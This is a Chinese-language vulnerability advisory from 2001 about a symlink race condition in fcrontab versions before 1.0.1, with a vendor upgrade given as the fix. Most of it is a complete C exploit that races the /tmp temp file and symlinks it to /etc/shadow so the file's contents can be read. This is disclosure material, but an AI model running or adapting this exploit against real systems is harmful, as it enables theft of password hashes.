首页 -> 安全研究

安全研究

安全漏洞
fcrontab 本地竞争条件漏洞

发布日期:2001-03-01
更新日期:2001-03-01

受影响系统:

Fcrontab 1.0.1以前版本
不受影响系统:

Fcrontab 1.0.1
描述:

Fcrontab是一个类似crontab的任务调度软件。它可以在经常不定期重启的
系统上进行任务调度。

它存在一个本地竞争条件漏洞,可能导致本地用户读取敏感系统文件。

fcrontab在执行时会在/tmp/下创建一个文件名为fcrontab.在root使用
"fcrontab -u 用户名 -e"来更新用户crontab文件时,没有检查/tmp/fcrontab
是否为符号链接文件。如果攻击者预先创建一个符号链接指向任意系统文件,
则该文件就会被保存到/var/spool/fcron/<用户名>.orig中。

<* 来源:kiss from Helisec (NIKEBOY@RETEMAIL.ES) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


kiss from Helisec (NIKEBOY@RETEMAIL.ES)提供了下列测试代码:

/* --------------------------
   fcrontab exploit by _kiss_
   --------------------------
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <time.h>
#include <dirent.h>

#define TRUE 1

void main() {

         struct stat buf;
         time_t modif1,modif2;
         DIR *dir;
         struct dirent *direntry;
          int found=0;
          char string[200];
          char string2[200];

         printf ("---------------------------------------------\n");
         printf ("              fcrontab exploit by _kiss_\n");
         printf (" Helios Security and Administration (HeliSec)\n\n");
         printf (" Greets: Jet-Li (for teaching me some lessons of shell\n");
         printf ("            that i will need someday) :D\n");
         printf ("---------------------------------------------\n");

         /* we wait till /tmp/fcrontab is created */
         printf("\nwaiting for /tmp/fcrontab to be created...\n");

         while(!found) {

                 dir=opendir("/tmp");

                 while ((direntry=readdir(dir))!=NULL) {
                         if (strncmp("fcrontab",direntry->d_name,8)==0)
                                 found=1;
                         if (found==1) break;
                 }

                 closedir(dir);
         }

         strcpy(string,"/tmp/");
         strcat(string,direntry->d_name);

         while (TRUE) {
                 if (stat(string,&buf)!=-1)
                         break;
         }

         /* we store date of last modification */
         printf("/tmp/fcrontab created. waiting for the update...\n");
         modif1=buf.st_mtime;

         /* we wait till /tmp/fcrontab is updated */
         do {
                 stat(string,&buf);
                 modif2=buf.st_mtime;
         } while (modif1==modif2);

         /* we make the symlink */
         printf("making a symlink to /etc/shadow...\n");
         strcpy(string2,"ln -fs /etc/shadow ");
         strcat(string2,string);
         system(string2);

         /* we should now have /etc/shadow in /var/spool/fcron/kiss.orig */
         printf("... now check /var/spool/fcron/kiss.orig\n");
}




建议:

厂商补丁:

厂商已经提供了升级版本1.0.1,这个版本解决了这个问题。
厂商主页: http://fcron.free.fr/



浏览次数:3978
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障